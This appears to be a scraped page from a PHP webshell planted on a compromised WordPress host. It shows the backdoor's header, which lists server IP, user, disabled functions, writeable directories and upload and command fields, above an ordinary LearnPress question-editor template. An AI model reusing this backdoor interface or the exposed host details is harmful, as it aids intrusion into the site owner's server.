403Webshell
Server IP : 104.21.28.229  /  Your IP : 216.73.216.142
Web Server : Apache/2
System : Linux hosting8537.lvs 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : mienphi ( 1014)
PHP Version : 8.2.14
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mienphi/public_html/wp-content/plugins/learnpress/inc/admin/views/question/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mienphi/public_html/wp-content/plugins/learnpress/inc/admin/views/question/editor.php
<?php
/**
 * Admin question editor: editor template.
 *
 * @since 3.0.0
 */

$question = LP_Question::get_question();

learn_press_admin_view( 'question/actions' );
learn_press_admin_view( 'question/answer' );
learn_press_admin_view( 'question/fill-in-blanks' );
?>

<div id="admin-editor-lp_question">
	<div class="lp-place-holder">
		<div class="line-heading"></div>

		<div class="line-sm"></div>
		<div class="line-xs"></div>

		<div class="line-df"></div>
		<div class="line-lgx"></div>
		<div class="line-lg"></div>

		<div class="line-df"></div>
		<div class="line-lg"></div>
		<div class="line-lgx"></div>
	</div>
</div>

<script type="text/x-template" id="tmpl-lp-question-editor">
	<div>
	<template v-if="!supportAnswerOptions">
		<?php do_action( 'learn-press/question-editor/question-js-component', $question ); ?>
	</template>
	<template v-else>
		<div id="admin-editor-lp_question" :class="['lp-admin-editor learn-press-box-data', type]">
			<lp-question-actions :type="type" @changeType="changeType"></lp-question-actions>

			<template v-if="isFillInBlank">
				<lp-fib-question-answer :type="type" :answers="answers"></lp-fib-question-answer>
			</template>
			<template v-else>
				<lp-question-answer :type="type" :answers="answers"></lp-question-answer>
			</template>
		</div>
	</template>
	</div>
</script>

<script type="text/javascript">
	jQuery( function($) {
		var $store = window.LP_Question_Store;

		window.$Vue = window.$Vue || Vue;

		$Vue.component('lp-question-editor', {
			template: '#tmpl-lp-question-editor',
			mounted: function() {
				var vm = this;

				vm.$watch('type', function() {
				});

				if(lpAdminSettings.screen.action === 'add') {
					$store.dispatch('changeQuestionType', {
						type: vm.type
					});
				}
			},
			computed: {
				type: function() {
					return $store.getters['type']['key'];
				},
				isFillInBlank: function() {
					return this.type === 'fill_in_blanks';
				},
				supportAnswerOptions: function () {
					return $store.getters['supportAnswerOptions'].indexOf( this.type ) !== -1;
				},
				answers: function() {
					return $store.getters['answers'];
				}
			},
			created: function() {
			},
			methods: {
				changeType: function (type) {
					$store.dispatch('changeQuestionType', {
						question: {
							title: $('input[name=post_title]').val(),
							content: $('textarea[name=content]').val()
						},
						type: type
					});
				}
			}
		});
	});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit